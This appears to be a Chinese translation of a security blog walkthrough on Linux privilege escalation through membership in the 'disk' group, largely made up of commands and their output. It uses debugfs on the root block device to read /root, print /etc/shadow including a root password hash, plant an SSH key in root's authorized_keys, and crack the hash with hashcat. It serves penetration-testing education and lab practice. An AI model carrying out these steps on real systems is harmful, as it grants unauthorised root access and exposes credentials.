原文: https://vk9-sec.com/disk-group-privilege-escalation/
Disk group 允许用户完全访问/dev/中包含的任何块设备。由于/dev/sda一般是根系统文件,而磁盘组对该设备拥有完全的读写权限,可以用于写入或读取任意文件内容
Identify
id命令
1 2 $ r id uid=1000 (dora) gid=1000 (dora) groups=1000 (dora), 6 (disk)
列出/dev设备onwer和group owner, 查找所属group是disk的分区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ls -l /dev drwxr-xr-x 7 root root 140 Aug 3 2024 disk brw-rw---- 1 root disk 253 , 0 Aug 3 2024 dm-0 brw-rw---- 1 root disk 8 , 0 Aug 3 2024 sda brw-rw---- 1 root disk 8 , 1 Aug 3 2024 sda1 brw-rw---- 1 root disk 8 , 2 Aug 3 2024 sda2 brw-rw---- 1 root disk 8 , 3 Aug 3 2024 sda3 ... $ find /dev -group disk /dev/btrfs-control /dev/dm-0 /dev/sda3 /dev/sda2 /dev/sda1 /dev/sda /dev/sg1 /dev/loop7 /dev/loop6 /dev/loop5 /dev/loop4 /dev/loop3 /dev/loop2 /dev/loop1 /dev/loop0 /dev/loop-control
查看所有分区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ df -h Filesystem Size Used Avail Use% Mounted on udev 947 M 0 947 M 0 % /dev tmpfs 199 M 1.2 M 198 M 1 % /run /dev/dm-0 9.8 G 5.1 G 4.2 G 55 % / tmpfs 992 M 0 992 M 0 % /dev/shm tmpfs 5.0 M 0 5.0 M 0 % /run/lock tmpfs 992 M 0 992 M 0 % /sys/fs/cgroup /dev/loop0 62 M 62 M 0 100 % /snap/core20/1611 /dev/loop2 50 M 50 M 0 100 % /snap/snapd/18596 /dev/loop1 64 M 64 M 0 100 % /snap/core20/1852 /dev/loop3 92 M 92 M 0 100 % /snap/lxd/24061 /dev/loop4 68 M 68 M 0 100 % /snap/lxd/22753 /dev/sda2 1.7 G 209 M 1.4 G 13 % /boot tmpfs 199 M 0 199 M 0 % /run/user/1000
Exploit 确认用户所属disk group之后,我们可以使用debugfs来枚举整个磁盘数据以获取root级权限,因为我们还拥有对磁盘块文件完全的读写访问权限,我们可以写入任意文件,换而言之,有了disk group,实际上我们就是root,只不过是以一种迂回的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ debugfs /dev/dm-0 debugfs 1.45 .5 (07 -Jan-2020 ) debugfs: ls debugfs: cd /root debugfs: cat proof.txt 492 fe994bfe90fd82258b4d6d1118374debugfs: cat .profile # ~/.profile: executed by Bourne-compatible login shells. if [ "$BASH" ] ; then if [ -f ~/.bashrc ] ; then . ~/.bashrc fi fi
写authorized_keys, 写/etc/passwd ……
1 debugfs: cp id_rsa.pub /root/.ssh/authorized_keys
读root公私钥、读/etc/shadow, hashcat爆破root密码 …..
1 2 debugfs: cat /etc/shadow root: $6 $AIWcIr8PEVxEWgv1$3 mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4. D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.: 19453 : 0 : 99999 : 7 : : :
1 hashcat -m 1800 root.hash